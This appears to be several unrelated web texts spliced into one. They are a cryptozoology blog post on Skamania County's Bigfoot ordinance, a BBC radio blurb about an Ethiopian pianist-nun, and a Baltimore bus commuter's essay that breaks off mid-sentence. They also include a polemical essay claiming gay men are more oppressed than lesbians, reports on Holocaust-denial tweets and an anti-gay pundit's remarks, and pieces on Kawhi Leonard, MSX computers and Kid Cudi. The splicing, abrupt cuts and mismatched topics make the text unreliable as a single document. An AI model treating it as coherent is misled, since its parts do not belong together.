Skamania County Ordinance Ordinance No. 69-01 Be it hereby ordained by the Board of County Commissioners of Skamania County: Whereas, there is evidence to indicate the possible existence in Skamania County of a nocturnal primate mammal variously described as an ape-like creature or a sub-species of Homo Sapiens; and Whereas, both legend and purported recent sightings and spoor support this possibility, and Whereas, this creature is generally and commonly known as a “Sasquatch”, “Yeti”, “Bigfoot”, or “Giant Hairy ape”, and has resulted in an influx of scientific investigators as well as casual hunters, many armed with lethal weapons, and Whereas, the absence of specific laws covering the taking of specimens encourages laxity in the use of firearms and other deadly devices and poses a clear and present threat to the safety and well-being of persons living or traveling within the boundaries of Skamania County as well as to the creatures themselves, Therefore be it resolved that any premeditated, wilful and wanton slaying of such creature shall be deemed a felony punishable by a fine not to exceed Ten Thousand Dollars ($10,000) and/or imprisonment in the county jail for a period not to exceed Five (5) years. Be it further resolved that the situation existing constitutes an emergency and as such this ordinance is effective immediately. ADOPTED this 1st day of April, 1969. The above ordinance was partially repealed and amended in 1984 by Ordinance 1984-2: The ordinance was amended to make the crime a gross misdemeanor, punishable by up to one year in the county jail and/or a $1000 fine. The new ordinance also created a million-acre refuge within the County. Board of Commissioners of Skamania County
Of course, having an initial date (even though it was amended later) of April Fool’s Day does not get it much respect.
What firm legal enactments have been made to protect against harming or killing Sasquatch, Nessie, the Abominable Snowmen, and varied cryptids (other than extra “creature searching fees” and/or “monster hunting” restrictions)?
A second year student at Tulane Law School in New Orleans emails in to me a question for a research paper this individual is writing for their animal law class: What “the laws (or lack of) protecting cryptids” exist?
Well, “lack of” is an open-ended research project because that would be an endless list, so let’s concentrate on any that you know exist or have existed, okay?
Let’s help this student out, Cryptomundians, and wake up those brain cells in the middle of the week!
About Loren Coleman
Loren Coleman is one of the world’s leading cryptozoologists, some say “the” leading living cryptozoologist. Certainly, he is acknowledged as the current living American researcher and writer who has most popularized cryptozoology in the late 20th and early 21st centuries. Starting his fieldwork and investigations in 1960, after traveling and trekking extensively in pursuit of cryptozoological mysteries, Coleman began writing to share his experiences in 1969. An honorary member of Ivan T. Sanderson’s Society for the Investigation of the Unexplained in the 1970s, Coleman has been bestowed with similar honorary memberships of the North Idaho College Cryptozoology Club in 1983, and in subsequent years, that of the British Columbia Scientific Cryptozoology Club, CryptoSafari International, and other international organizations. He was also a Life Member and Benefactor of the International Society of Cryptozoology (now-defunct). Loren Coleman’s daily blog, as a member of the Cryptomundo Team, served as an ongoing avenue of communication for the ever-growing body of cryptozoo news from 2005 through 2013. He returned as an infrequent contributor beginning Halloween week of 2015. Coleman is the founder in 2003, and current director of the International Cryptozoology Museum in Portland, Maine.
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This entry was posted on Wednesday, March 4th, 2009 at 10:56 am and is filed under Abominable Snowman, Bigfoot, Cryptomundo Exclusive, Cryptotourism, CryptoZoo News, Cryptozoologists, Cryptozoology, Lake Monsters, Living Dinosaurs, Loch Ness Monster, Malaysian Bigfoot, Mokele-Mbembe, Ogopogo, Public Forum, Sasquatch, Sea Serpents. You can follow responses via our RSS 2.0 feed. You can skip to the end and leave a response. Pinging is not allowed.
Facebook Google+ Twitter Pinterest Email Print Delicious Digg Fark Google Instapaper LinkedIn MySpace Newsvine Pocket Readability Reddit StumbleUpon Tumblr Yahoo!Kate Molleson travels to Jerusalem to meet a legend of Ethiopian music, the piano-playing nun, Emahoy Tsegué-Maryam Guèbrou.
Born in 1923 to a noble Ethiopian family, Emahoy Tsegué-Maryam Guèbrou was celebrated as a young musician in Addis Ababa - even performing for the Emperor Haile Selassie. But when she was mysteriously refused permission to take up a scholarship at the Royal Academy of Music in London, her life changed forever, and she abandoned music.
For 10 years she lived on the holy mountain of Guishen, barefoot, in solitary prayer and meditation, until the monastery had to close and Emahoy Tsegué-Maryam headed home to Addis Ababa. There, she slowly returned to the piano keyboard, composing languorous waltzes, infected with the spirit of ancient Ethiopian music and with a free-wheeling sense of time.
In 1996, as her music became the 21st release in the now famous Ethiopiques series of records, she came to international attention. By this time she had fled the communist regime in Ethiopia and moved to Jerusalem to work for the Ethiopian Orthodox Patriarchy, where she now lives in a small cell, surrounded by her religious paintings, photographs of her family and of Emperor Haile Selassie propped up on top of her piano.
In recent years she has been moved to publish her work, editing a lifetime of manuscripts with the help of the Israeli musician and composer Maya Dunietz, and has set up a foundation in her name to help children to acquire instruments and music education.
A long time fan of Emahoy Tsegué-Maryam's music, journalist Kate Molleson talks with the musician turned nun who, now in her 90s, has led a remarkable life and is still driven to compose her unique music.
Produced by Peter Meanwell
A Reduced Listening production for BBC Radio 4.Yesterday my passion for living car-free in Baltimore died.
From the beginning, I knew the decision would take commitment and a good deal of extra effort. But I was always prepared to face the challenges of late buses, rainy mornings, and bitter cold walks from my stop to my door.
They were annoyances I was willing to endure because of my choice to make mass transit work as a viable solution – my small contribution toward a more sustainable and successful Baltimore City and a better overall me.
What unfolded yesterday morning, however, was different.
It was the last straw in a run of headaches and frustrations that make the Maryland Transit Administration buses, for me, an unrealistic option.
As I sat waiting on the MTA-provided bench at the Fleet and Albemarle streets bus stop for the No. 11 bus at 9:08 a.m., I was getting a jump start on the day’s emails and appointments with my smartphone. As I heard the familiar sound of the bus approaching, I looked up to watch the No. 11 continue right past me without ever slowing down.
I jumped up and chased the bus on foot – in my work attire and carrying my work bag – and actually managed to catch up to the bus at a red light about one block from the dedicated stop where it drove right past me.
As the bus was stopped at the red light, I knocked on the doors to be let in, but instead the driver looked at me through the glass of the doors and yelled, “Next time stand up!” Then he drove away, leaving me standing in the street.
Bumpy Ride
I love and hate the No |
anal sex (something which lesbians cannot have without the assistance of adult novelties that probably did not exist in Old Testament times). In addition, the gang of rapists featured in the story are all men, which further cements the insinuation that sodomy requires a penis. 1 Corinthians 6:9-10 explicitly condemns “men who have sex with men” yet not women who have sex with women.
1 Timothy 1:9-10 does seem to make a gender-neutral reference to “those practicing homosexuality,” yet this passage has translation issues from the original Greek; the Greek script used words like “malakoi” and “arsenokoitai,” which are generally considered references to male effeminacy (often equated to homosexuality), and arguably the pederastic practices of Greek society at the time. The targets of this practice are still exclusively male since Greek pederasty was a male-male institution.
Only when we come to Romans 1:26 do we have an explicit attack on female homosexual conduct; verse 27 conjoins this with an equal condemnation on male homosexual conduct. Yes, interpretation and translation issues are all citable, but the bible evidently contains more anti-gay-male verses than anti-lesbian ones.
I will not deal with the issue of Islam substantially (as I am not well-read on the subject), but the story of Sodom seems to be the basis of Quranic views of the subject (see https://en.wikipedia.org/wiki/LGBT_in_Islam#The_Quran). The Sodomites are referred to as the “People of Lut” (Lut being Arabic for Lot) and the sin which they are condemned for is generally described in terms of male homosexuality; even today, the Arabic words for homosexual conduct and homosexual person are both derived from “Lut.” And of course, the treatment of gay people within the contemporary Arab world says all that needs to be said, but given how male homosexuality seems to be the most actively stigmatized by the Quran, I would predict that the Islamic world is crueller to gay men than lesbians. I’ll let others more informed on the subject discuss it further.
As stated above, the story of Sodom has often been read to imply that “Sodomy” is something which requires a penis. The most common understanding of “sodomy” in general language is “anal sex.” This alone is enough to give sodomy laws a disproportionate impact against male queers relative to female queers. That said, the history of the criminalizing of “sodomy” is a little more complicated; Sir William Blackstone’s Commentaries on the Laws of England defined sodomy as the “abominable and detestable crime against nature,” which led to variation as to what “sodomy” legally entailed. England’s 1533 Buggery Act predated Blackstone’s work, yet contained no prohibition against any female-female sex acts; the Buggery Act prohibited (via precedent) male-male and male-female anal sex, heterosexual oral sex, and vaginal bestiality. The stereotypically-emblematic act of lesbianism (colloquially described as “eating pussy” or “munching rug” or “licking carpet”) was not prohibited (nor, for that matter, were anal or oral bestiality), whilst the stereotypically-emblematic act of male homosexuality was a capital crime (and remained that way for a very long time). Indeed, a view of Wikipedia’s article on sodomy laws (https://en.wikipedia.org/wiki/Sodomy_law) makes it clear that sodomy laws have almost always been about male homosexuality; when these laws were struck down, one of the primary reasons for doing so was that these laws were discriminatory against gay males.
There certainly have been historic sodomy laws in Western nations which discriminated against homosexual couples of both sexes, particularly in the United States (through specifically referring to “homosexual” couples – a gender-neutral term), yet these laws arose only as the lesbian community began to gain visibility. The gay male community did not need to gain visibility in order to trigger explicit laws against (at least some of) their particular sexual practices. What does that say about which is seen as a greater “threat” to “society”? And of course, whilst many sodomy laws have historically applied to both same and opposite-sex couples, the last eras of sodomy laws in the United States were rife with unequal enforcement and, in some cases at least, explicitly discriminatory statutory language (see Andrew Sullivan’s article Unnatural Law here: https://newrepublic.com/article/64542/unnatural-law).
Nazi Germany did persecute lesbians, however gay men were persecuted with much more force. Even legally, the Nazis defined homosexuality in male-exclusive terms (https://en.wikipedia.org/wiki/Persecution_of_homosexuals_in_Nazi_Germany_and_the_Holocaust#Definition_of_homosexuality). Even the pink triangle, the badge that homosexuals were forced to wear in concentration camps, was exclusively assigned to male homosexuals rather than female homosexuals. Lesbians were not even considered homosexual; they were classified as “asocials” and very few were arrested for their sexuality alone. The United States Holocaust Memorial Museum even states, rather unambiguously, that “the Nazis did not systematically persecute” lesbians (https://www.ushmm.org/wlc/en/article.php?ModuleId=10005478).
Even though the contemporary US is much more free than Nazi Germany (thankfully), we can see one attitude that reminds us all of the Nazi’s male-centric understanding of homosexuality; what does the average person think of when they’re asked to imagine a “gay person” or “homosexual person”? Most likely, they’d imagine a male person who is completely fabulous! A gay wedding or same-sex wedding? Its most likely that the average person will think of this in terms of two dudes marrying.
Take for example this rather infamous advertisement from the anti-same-sex-marriage group Americans For Marriage when campaigning for a “yes” vote on California’s Proposition 8 (https://www.youtube.com/watch?v=RfJEsd2rl8A). Whilst female-female marriage is mentioned once in the advertisement (when the little girl says “and I can marry a princess!”), the object of horror which the ad holds up is clearly male-male marriage. The book the little girl brings home is entitled “King and King” (and the mother has a shocked reaction to the book). The little girl’s full line of dialogue begins with her announcing how she learned that “a prince can marry a prince.” When Professor Richard Peterson of Pepperdine University’s School of Law comes on to make his argument, he only mentions how Massachusetts schools began (in the wake of Massachusetts’ legalization of same-sex marriage) to teach students that “boys can marry boys.” Professor Peterson does not mention girls marrying girls or any variation of lesbianism. The allusions to male-male marriage outstrip the allusions to female-female marriage by a ratio of 3 to 1; what does that say about which eventuality is more feared?
Although bisexuals are not homosexuals, it is male bisexuality which is far more subject to bisexual erasure than female bisexuality. Of course one of the obvious reasons for this is the fetish that many opposite-sex-attracted males have towards women having sex with one another, but this doesn’t alter the underlying point. Female bisexuals are far more likely to have their bisexuality accepted, whereas male bisexuals are far more likely to be strapped into a penile plethysmograph to see whether or not they’re telling the truth (on the other hand, some recent studies measuring genital response show that almost all humans have a “non-zero” response to all kinds of pornography, so the plethysmography method may actually end up validating the idea that most people are some shade of bisexual). Female bisexuals are considered almost an ideal, whereas male bisexuals are either STD factories or “gay and in denial.” As Mark Simpson (the gay British journalist who coined the term “metrosexual”) pointed out (http://www.marksimpson.com/blog/2006/04/26/curiouser-and-curiouser-the-strange-disappearance-of-male-bisexuality/), “Woman-on-woman love action wasn’t legislated against because, unlike male homosex, it simply wasn’t considered of much consequence. It may be difficult for feminists to grasp, but ‘patriarchy’ was always much more concerned about where men’s penises went than women’s tongues.”
Simpson continues, “straight women now have something to gain and little to lose by admitting an interest in other women. Rather than exile them to the acrylic mines of Planet Lesbo, it makes them more interesting, more adventurous, more modern… just more. For the most part, however, straight men still have nothing to gain and everything to lose by making a similar admission. It renders them considerably… less. Unlike women, men’s gender is immediately suspect if they express an interest in the same sex.” So, its kind of like being nerdy; bisexuality in men is a ticket to social emasculation, whereas bisexuality in women can (at least in many communities in the West) boost any particular woman’s social status and attractiveness. As Simpson continues when discussing a UK newspaper’s article about two bisexual English Premier League footballers getting it on, “The headline for the story used the word GAY in font so large it covered more than half the page. (The words ‘sordid’ and ‘perverted’ and ‘obscene’ were also much in evidence; in a story about bisexual women the words would be: ‘saucy’ ‘steamy’ and ‘sexy’.)”
Why Are Gay Men More Oppressed?
The feminist view has a grain of truth within it; homophobia against males is indeed rooted in the traditional gender system. However, feminism fails in truly understanding the nature of the gender system, which in turn leads them to misdiagnose the root of homophobia against males.
As I explained in my piece Summa Genderratica (http://honeybadgerbrigade.com/2014/02/27/summa-genderratica-the-anatomy-of-the-gender-system/), the gender system’s core premise is that men do, women are. Men are subjects, women are objects. Men are human doings, women are human beings. Men are moral agents, women are moral patients. But since both men and women need to act in order to provide for their survival needs, men are culturally expected to pick up the slack that women are presumed to not carry; the result is that men are burdened with the expectation of hyperagency (i.e. they have to provide for more than themselves) whilst women are saddled with the presumption of hypoagency.
In addition to this, males are expected to prove their value to society through living up to this hyperagential ideal, whereas females are considered as having an innate value to society simply for being able to bear children (and our society ascribes this value to all females in general, even though not all females can or do bear children). This creates a situation where males are seen as innately-expendable hyperagents who earn value through living up to that ideal, whereas females are seen as innately-valuable hypoagents who, like children, are the future and therefore precious but are also less competent and less able to deal with the challenges of life. In a previous article (http://honeybadgerbrigade.com/2014/05/23/a-useful-phrase-the-instrumentalization-infantilization-dichotomy/) I coined the phrase Instrumentalization-Infantilization Dichotomy to refer to the male and female gender roles respectively.
If this is true, then it is no wonder that gay men are more oppressed than gay women. Why? Because males are expected to act on behalf not only of themselves but on behalf of women, children and society in general. Because gender roles confine the duty of agency to males, when a male shirks this duty he is damaging not only himself but at least one woman and any potential (and sometimes actual) children, therefore damaging others. The traditional way by which males lived up to their hyperagential duty was to commit to a woman (or, in the ancient world and in some fringe religious communities, various women), and to provide for their wellbeing and the children they have together. Men were expected to marry, procreate and provide; they had to do things for their woman/women and children.
Male homosexuality means that instead of men doing things for women and children, men do each other. The mathematics are, at least in theory, obvious.
Of course these mathematics make little sense when one looks at things in a modern light; since males can in fact be bisexual, male/male sex doesn’t imply an inability to desire sex with women or even commit to a woman and raise children with her. And the experiences we’ve had over the decades (and arguably centuries) with closeted gay men make it pretty clear that many gay men are willing to at least try and fulfill their socially-assigned duties, even if they don’t find doing so particularly fulfilling. But these more rational considerations clearly didn’t inform society’s positions back in the days when the gender roles were economically necessary and having one or two children didn’t guarantee population growth (and, by extension in a low-technology world, economic growth), and the growing acceptance of non-heterosexuality means that non-heterosexual men are far less likely to accept living in The Closet for extended periods of their adult lives. Male queerness in today’s world is even more likely to result in less commitment, particularly if sexual economics concerns (i.e. the relative ease of getting sex from men relative to sex from women) are taken into account.
So gay men are victims of gay bashing whereas gay women rarely are? Well of course, because gay men are shirking their duty and thus letting women and children suffer and starve because they aren’t protecting and providing for them!
Gay men are the primary/default gay person and are treated as more dangerous and more threatening than gay women? Well of course, because one gay man is more of a loss to society than one gay woman!
Bisexual erasure disproportionately damages male bisexuals? Well of course, bisexual men can substitute sex with men over sex with women, which means they don’t have nearly the same incentive to provide/protect that straight men do! Plus, bisexual women can still be impregnated and pop out a child (not to mention the fact that many straight men would be very welcoming of a bisexual female partner for sexual-fetishization reasons).
Sure, lesbians are victims of the horrendous crime of “corrective” rape. But as atrocious as this crime is, it is premised on the idea that lesbians aren’t inherently defective (because they can be “cured”) and instead are just deluded or had a bad time with men or are being silly and immature. Gay men, on the other hand, often get beaten to death. They aren’t considered a “salvagable resource” in the same way as lesbians are (this is not to argue that corrective rape is somehow not an atrocity; merely that it is premised on a more optimistic basis than gay bashing is).
We live under a gender system where women are presumed as not being able to “do” stuff, but instead have stuff done to them. Their social value is not placed in what they “do” but rather in what they are. Ergo, when women do each other, it isn’t seen as endangering their value to society, whereas when men do each other they have no incentive to take care of women and children and therefore aren’t considered socially valuable.This broadly explains why society gender-polices males more severely than females (and homophobia is clearly a form of gender policing); since society implicitly places all of its fortunes in the hands of male actors, when a man isn’t acting “properly” more is at stake.
This broadly explains why society gender-polices males more severely than females (and homophobia is clearly a form of gender policing); since society implicitly places all of its fortunes in the hands of male actors, when a man isn’t acting “properly” more is at stake.
Conclusion
I find attempts to play “Oppression Olympics” distasteful, and I do not wish to give the impression that non-heterosexual women have it easy (clearly they do not). But historically speaking, most homophobia has been homomisandry, and lesbians have often been ignored or erased. Now erasure absolutely is not a good thing (as any bisexual, particularly a bisexual male, would be happy to point out), but being ignored is preferable to being killed.
Religiously, legally, historically and culturally, it is gay men who are the primary targets of homophobia. Gay men are the targets of gay bashing far more than gay women. Sodomy laws and passages from Abrahamic religious texts prohibit male homosexuality much more often than female homosexuality. Even in contemporary political campaigns against gay rights, gay males are seen as more threatening than gay females. Even the Nazis saw gay men as a bigger problem than gay women. And male bisexuality was hardly exempted from the religious and legal prohibitions of the past, since those prohibitions were based on sexual act rather than sexual desire. Indeed, some scholars argue the religious prohibitions actually apply more to male bisexuality than homosexuality; lying with a man as one lies with a woman (when taken in an absolutely literal fashion) arguably doesn’t apply to a gay man (who doesn’t sleep with women at all, presumably) but does apply to a bisexual one (who lies with both).
The UK’s NUS claims gay men aren’t oppressed within gay culture; that’s because gay men created gay culture as a ‘safe space’ away from the brutality they endured from straight culture. This brutality seems to be greater than that endured by gay women and almost certainly more than that endured by bisexual women (transgender issues are a different issue I lack experience with but given my above theory I’d suspect transwomen would be socially treated similarly to, and perhaps worse than, gay men). Gay men do need their positions in gay culture respected, for those spaces are where they can recover from the difficulties of dealing with straight culture. The same logic, by the way, validates the positions for representatives of all various LGBT subgroups since all of these subgroups have in some way dealt with difficulties from straight society.
But whilst the NUS didn’t argue that gay men don’t face oppression at all, the fact that gay men seem to be getting ‘thrown under the bus’ by multiple allegedly ‘anti-oppression’ groups is more than concerning, considering that gay men have historically been the explicit targets of the majority of sexuality-related bigotry. Surely, being ignored or not even discussed is a more pleasant fate than being executed.
Perhaps there is a bright side to this; if gay men begin to be treated as a second-tier priority within organizations that they primarily created, they may start to question whether or not intersectional feminism is truly an ally to their cause. Gay men may, as a result, begin to turn against the third wave feminist movement; as gay rights campaigner John Lauritsen has argued even back in the days of Radical Feminism (http://paganpressbooks.com/jpl/DTF.HTM), such a turn is quite overdue.
byOn Wednesday, Sohrab Ahmari, editorial page writer at The Wall Street Journal, tweeted a link to an article from the Washington Post about Iran’s Holocaust-denial cartoon contest. The article explained:
In early May, organizers in Tehran will stage the Second International Holocaust Cartoon Contest… An exhibition will feature some of the 839 pieces of "artwork" submitted as part of the contest by artists from more than 50 countries, reports Iran's semiofficial Fars News Agency.
Ahmari tweeted, “Moderate Iran organizes Holocaust-denial cartoon contest.”
That’s when Alireza Tabatabaeenejad decided to sound off:
USC prof @alirezat says Holocaust denial and moderation are mutually compatible. Then deletes tweet. Not so fast. pic.twitter.com/6fByYZZ7Km — Sohrab Ahmari (@SohrabAhmari) April 8, 2015
@SohrabAhmari Holocaust denial or recognition is not a measure of moderation. — Alireza Taba (@alirezat) April 8, 2015
Tabatabaeenejad is a research professor at USC in the Department of Electrical Engineering, specializing in electrophysics. USC has not yet commented on the radicalism of its professor. The professor continued to tweet long into the afternoon about why Holocaust denial did not demonstrate radicalism:
@johnpaulpagano @SohrabAhmari Holocaust happens, but someone denies it. His reasoning: Unknown. Why call him extremist, and not ignorant? — Alireza Taba (@alirezat) April 8, 2015
Some journalists have agenda against #IranDeal. They use every dirty trick and card they can to undermine Iranians' hope for peace. — Alireza Taba (@alirezat) April 8, 2015
@TayNez81 @SohrabAhmari I don't know. Does that make a person who denies the Holocaust through, say his paintings, an extremist? — Alireza Taba (@alirezat) April 8, 2015Bryan Fischer has previously stated that lesbian, gay, bisexual and transgender (LGBT) people should face job discrimination and implied that members of the community should be "delivered" from homosexual behavior.
So it comes as little surprise that the resident American Family Association pundit has now gone even further, claiming that homosexuality will be "responsible for the collapse of the Western economy.”
As Right Wing Watch first reported, Fischer slammed Tom Kostigen of Financial Advisor for the writer's criticism of Harvard University professor Niall Ferguson, who had originally claimed that British economist John Maynard Keynes' philosophy was flawed because he was gay, childless and therefore had no interest in future generations.
Calling Kostigen a member of the "gaystado," Fischer added, "[Keynes] was a narcissist, he was a hedonist and he was a homosexual. His view of history is very shortsighted, short-circuited, he cared about himself and his generation exclusively; so homosexuality in the end is going to be responsible for the collapse of the Western economy.”Let’s Not Forget About Kawhi Leonard and the Spurs
One of the most well-rounded players in the NBA, Leonard will take San Antonio into the depths of the NBA playoffs
Quinn Allen Blocked Unblock Follow Following Apr 19, 2017
San Antonio Current
He’s already averaging 34.5 points per game through two games in the playoffs. Kawhi Leonard is the backbone of the San Antonio Spurs. In fact, Leonard has scored in double figures in 22 straight playoff contests. Talk about clutch.
Memphis has a solid trio of Zach Randolph, Mike Conley, and Marc Gasol, but the MVP candidate Leonard is just too much to handle for the Grizzlies. The thing that makes Leonard stand out among others in the NBA is his ability to impact the game at both ends of the court.
He only averaged 4.7 defensive rebounds per game in the regular season. He doesn’t record a ton of blocks. But he’s a solid defender who has great footwork and quickness. He’s a pest. He puts so much pressure on opposing players defensively that they either make a mistake and he steals the ball, or they miss a shot because they don’t have an open look. He’s the two-time Defensive Player of the Year for a reason. He’s an amazing athlete and has tremendous length, giving him the ability to block shots as well.
What I’ve seen change this year compared to past years with Leonard is his aggressiveness to the hoop. He’s creating contact and getting more free throw opportunities. And not to mention, he’s 28 for 28 from the line in the playoffs thus far. Even in the regular season, Leonard was an 88% free throw shooter. Through the first two games of the postseason, Leonard is shooting 71% from the field. He’s struggled from downtown, with only a 20% three point percentage, but you have to remember he is still averaging 35 a game as of right now — without many 3’s.
Leonard has unreal handles, which is evident in game 2 against the Grizzlies, where he was able to get to the rim quickly and effortlessly. Take a look at the video below to see Leonard’s tremendous performance in Monday’s game:
Why will Kawhi lead the Spurs to a solid playoff run?
He may not be the MVP. He’s not the most electric scorer in the NBA. But Leonard does everything in this game the right way. The Spurs built their team around Kawhi in the offseason. They told him to be more aggressive and take charge. He’s done just that. The former San Diego State standout has also became one of the best closers in the game. He’s shown the ability to hit the clutch shot late in the fourth, or simply just put a team away.
Assuming the Spurs get by the Grizzlies, they will face either the Rockets or Thunder in the next round. And you know what that means. Leonard will face off against fellow MVP candidates Russell Westbrook or James Harden. But that isn’t something to worry about. Kawhi has shown the ability to ball with the best of them. That testimonial was present back in the 2014 NBA Finals, when Leonard shut down LeBron and the Heat to win it all and capture the Finals MVP.
Who stands in Kawhi’s way?
If we had to look at teams who could possibly shut down the Spurs, it would be Cleveland or Golden State. But Kawhi has proven he can beat both of these teams. LeBron James or Steph Curry don’t impose a threat to Leonard. Sure, both the Warriors and Cavs could beat San Antonio. But all I’m saying is if it came down to the Spurs and one of those teams, it would be a tremendous series that would go six or seven games. With Lamarcus Aldridge and Tony Parker by his side, the Spurs have a very good shot of making a deep playoff run with Kawhi at the helm.
Humble, quiet, but absolutely lethal on the court. Kawhi Leonard is one of the most electric players in the NBA. It will be exciting to see Kawhi lead San Antonio for the next month in the 2017 NBA playoffs, and hopefully he can come out with another Finals MVP at the end of it.What ever happened to…
MSX computers
by John C. Dvorak
Not too many people will recall the short-lived era of the “MSX” initiative which was slated to pretty much take over the non-existent middle world where consumer electronics met personal computers. It was always believed, back then, that this is where the sweet spot of profits would emerge. What emerged was instead laughable MSX. It was one of Microsoft’s greatest flops.
In the second half of 1982 Microsoft, working with ASCII Corp. of Japan. developed a new hardware and software standard, MSX or Microsoft Extended, that would use “proven technology” to produce a cheap 8-bit home computer. Although Commodore, Atari, Mattel, Coleco and many others were already in the U.S. market selling cheap home computers, Microsoft, taking a cue from IBM and it’s “standardized PC,” saw a need for standards as an opportunity to wipe out the competition.
With its Japanese partner and distributor, ASCII Corp., Microsoft convinced some of Japan’s largest consumer electronics and computer manufacturers to license the technology to build MSX machines. The names were big and were also the “usual suspects”: Sony, Toshiba, Pioneer, Hitachi, and Yamaha, to name a few.
It was ASCII’s cofounder, Kazuhiko “Kaye” Nishi, who was the driving force behind the acceptance of the MSX standard in Japan. Nishi and he had been a strong supporter of Microsoft’s since the late 70’s. It was ASCII who eventually sold Yamaha MSX machines to the Soviet Union and even developed its own 16-bit 28 Mhz version of the Z-80 chip, dubbed the R800, to be used in the 16-bit version of the MSX system. The design for the chip was eventually licensed to Zilog, originators of the Z-80.
Nishi was also credited with perhaps inventing the laptop computer.
It was back in 1983, though, when things looked rosy for MSX. Following Microsoft’s official Japanese announcement in June, 1983, a half dozen MSX computers were introduced at the Japan Data Show in October. Retailing in the $200- $400 price range, not including a monitor, more than 265,000 units from about a dozen manufacturers had been sold by midsummer of 1984. The MSX standard also showed signs of success in Europe, where electronics giant Philips was its main proponent. There was an MSX-specific magazine introduced in England to take advantage of the predicted boom. Still, the reception in the US was negligible.
The MSX standard was built around the 4Mhz, 8-bit Zilog Z80A CPU, and included other popular, and cheap, components such as the Texas Instruments TMS9918A video chip and the General Instruments AY-3-8910 programmable sound chip. Standard configurations included 16K, 32K or 64K of RAM, BASIC and BIOS in 32K of ROM, and 16K of video RAM. And its version of BASIC, MSX BASIC, was excellent; providing easy programming access to the computer’s sound and video capabilities.
For a low-end computer, the MSX standard was amazingly efficient. Its performance was on a par with the Apple IIc, and the IBM PCjr. In fact IBM was reportedly taking a long look at the MSX standard around the time it was being introduced to American manufacturers.
Unfortunately, it was not a disk-based system. Until MSX-DOS was introduced in 1984, MSX computers used only cassette and cartridge interfaces to load programs. The US market had long since showed a distinct inclination towards disk-based machines. This MSX idea was a throwback to 1977.
That stumble combined with a shake-out in the American home computer market, made the Japanese manufacturers take a wait-and-see attitude for much of 1984. Although Microsoft hosted an exclusive preview for third-party developers at the June, 1984 Consumer Electronics Show, the main Japanese manufacturers didn’t introduce their products in the U.S. until the January, 1985 show. By then it was too late.
At the 1984 CES Atari introduced their new ST line and Commodore introduced their 128 model. The ST and the 128 were priced at the high-end of the MSX market, which meant that in order to compete in the U.S. market the price of MSX computers would have to be slashed. And the call for 16 and 32-bit computing made the consumer aware of the fact that 8-bit was dead. Wisely, no American manufacturers could be enticed to produce an MSX computer. And the fear of fighting the Japanese in a commodity market with rapidly declining profit margins was also a major deterrent. With no commitment from major American manufacturers, none of the software houses were willing to make a commitment either.
In a move to go more upscale and to 16-bit the MSX II (1985) and MSX II-Turbo (1988) versions of the standard were eventually developed. In 1985 Panasonic said it would develop an upscale business machine using the MSX II standard. Toshiba said it was planning a single chip z-80/MSX machine. These announcements met with a lukewarm reception. By the time the “turbo” machine standard rolled out virtually all makers of MSX equipment had stopped development.
Shortly after the MSX fiasco Microsoft and ASCII Corp. parted company in a disagreement over the direction for future developments in Japan. Microsoft ended the exclusive distributor agreement they had with ASCII and opened a Japanese subsidiary.
In February of 1990 one of the last hold outs for MSX, Sony Corporation, gave up on supporting MSX and moved into production of AX computers (another dead-end) and mini-notebook machines. Only Panasonic continued to make an MSX-II Turbo machine. Sanyo also stayed in the consortium to no avail
The story of MSX – if it is ever remembered — might eventually be a Harvard Business School case study. The entire episode proves that popularizing a new standard is not a trivial pursuit.
Link:
Whatever Happened to… archivesKid Cudi is the type of artist who can’t be easily categorized, which is his preference. Over the past seven years, the 31-year-old has carved out a niche for himself in the Hip Hop community, despite not being a traditional Hip Hop artist. He’s an anomaly who willingly inhabits a grey area, yet he still managed to develop a fiercely loyal following that hangs on to every emotive word the Cleveland native chants. Throughout the duration of his career, Cudi has become a musical bridge, able to bring music lovers of varying backgrounds together simply because he taps into kindred spirits. In the five-plus years since his debut, Man on the Moon: The End of Day, was released, Kid Cudi remains a trailblazing oddity who united worlds while creating his own.
The Crucible Of His Creativity
Cudi, like Wale and Drake, is one of several artists to emerge at the end of the last decade, as conventional Hip Hop was evolving. He blew up during the dawn of the blog rap era on the strength of “Day ‘N’ Nite,” which surfaced in late 2007, prior to his signing to Kanye West’s G.O.O.D Music label. Fleeting and peculiar, Dot da Genius’ production channeled the paranoia of its protagonist: the “lonely stoner.” It didn’t sound like anything else, and was indicative of where the genre would head in the next decade, with more rappers taking the liberty to dabble in different genres. This can be at least partially credited to Cudi’s own ingenuity, as well as the influence of his former mentor, Kanye West.
“Well one thing I wanted to do was combine sounds that really bring out intense moods,” Cudi said in a 2009 interview with HipHopDX. “Like on “Heart Of A Lion,” the synth is really intense during the ‘no, no, no’ part, the bridge and even at the end. It just adds to the triumphant nature; it makes it more mean. And I wanted it to always have that mean undertone like, ‘This is no joke, this is a serious thing.’ Even though “Heart Of A Lion” is kind of an uplifting joint, its [got] some seriousness to it. It’s like, ‘Man, I’m not fucking playing.’ The synths adds that really dope mean vibe. And I wanted that darkness on the album.”
With the benefit of hindsight, Cudi was a trailblazer of sorts for the artists of his generation for incorporating Indie Rock, Folk and Hip Hop, even when he wasn’t credited as a producer or a sole writer. After joining G.O.O.D Music in 2008, Cudi lent his creative input to 808s & Heartbreak, West’s biggest pre-Yeezus departure from his signature sound. In addition to co-writing “Welcome to Heartbreak,” “RoboCop,” “Paranoid” and “Heartless,” many have argued that Cudi’s style and acceptance of his own emotions are what inspired West—who was experiencing his own personal turmoil at the time — to create the album. In a 2009 interview with Complex, Cudi humbly admitted as much.
“Kanye is inspired by everybody around him,” he said. “He’s inspired by life. So yeah, he kind of drew inspiration from everyone around him at that moment when it came to 808s & Heartbreak.” West, always one to credit himself, has been very forthcoming about Cudi’s role in the album’s creation.
“Me and Cudi are the originators of the style, kinda like what Alexander McQueen is to fashion,” West said in Cudi’s 2009 Complex interview. Drake, whose inclination to venture into emotional territory has been deemed “soft” by staunch purveyors of machismo in Hip Hop, is often thought of as the leader of its evolved definition of masculinity. He has more commercial appeal than Cudi, but Cudi is actually more of an influencer in that regard. Artists like Drake and Childish Gambino are very willing to drown in their feelings, but they’re the offspring of something that Cudi helped guide on 808s & Heartbreak. Though it’s amusing to joke that the album is actually Kid Cudi’s debut, the impact of his first major label release proved that he was a separate, diverse entity from West.
I think this created an interesting dynamic, because while being questioned by those within the genre, Cudi, Drake and Wale were praised by those outside of Hip Hop for not being constrained to traditional masculine tropes.
